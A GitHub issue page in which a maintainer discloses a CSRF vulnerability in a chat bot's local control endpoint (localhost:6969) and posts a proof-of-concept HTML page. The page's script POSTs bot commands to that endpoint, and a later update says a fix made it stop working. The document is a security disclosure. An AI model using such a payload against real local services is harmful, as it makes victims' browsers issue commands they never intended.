Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Backdoor is vulnerable to CSRF attacks #229

Open
rexim opened this issue Jun 18, 2020 · 1 comment
Open

Backdoor is vulnerable to CSRF attacks #229

rexim opened this issue Jun 18, 2020 · 1 comment

Comments

@rexim
Copy link
Member

rexim commented Jun 18, 2020

  • Start the bot
  • On the same machine open a browser and go to http://localhost:6969/
  • Observe the HTTP query from the browser in the kgbotka.log
@rexim
Copy link
Member Author

rexim commented Jun 19, 2020

Exploit:

<!DOCTYPE html>
<html>
  <head>
    <title>Not an Exploit Kapp</title>
  </head>
  <body>
    <h1>Ya got CSRF-ed bruh LOOOOL</h1>
    <script>
      const form = new FormData();
      form.append('cd', 'cd #tsoding');
      form.append('say', 'say you got CSRF-ed :)');
      fetch("http://localhost:6969/", {
        method: 'POST',
        body: form
      });
    </script>
  </body>
</html>

UPD Does not work after #230

rexim added a commit that referenced this issue Jun 19, 2020
rexim added a commit that referenced this issue Jun 19, 2020
(#229) Try to address CSRF vuln
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant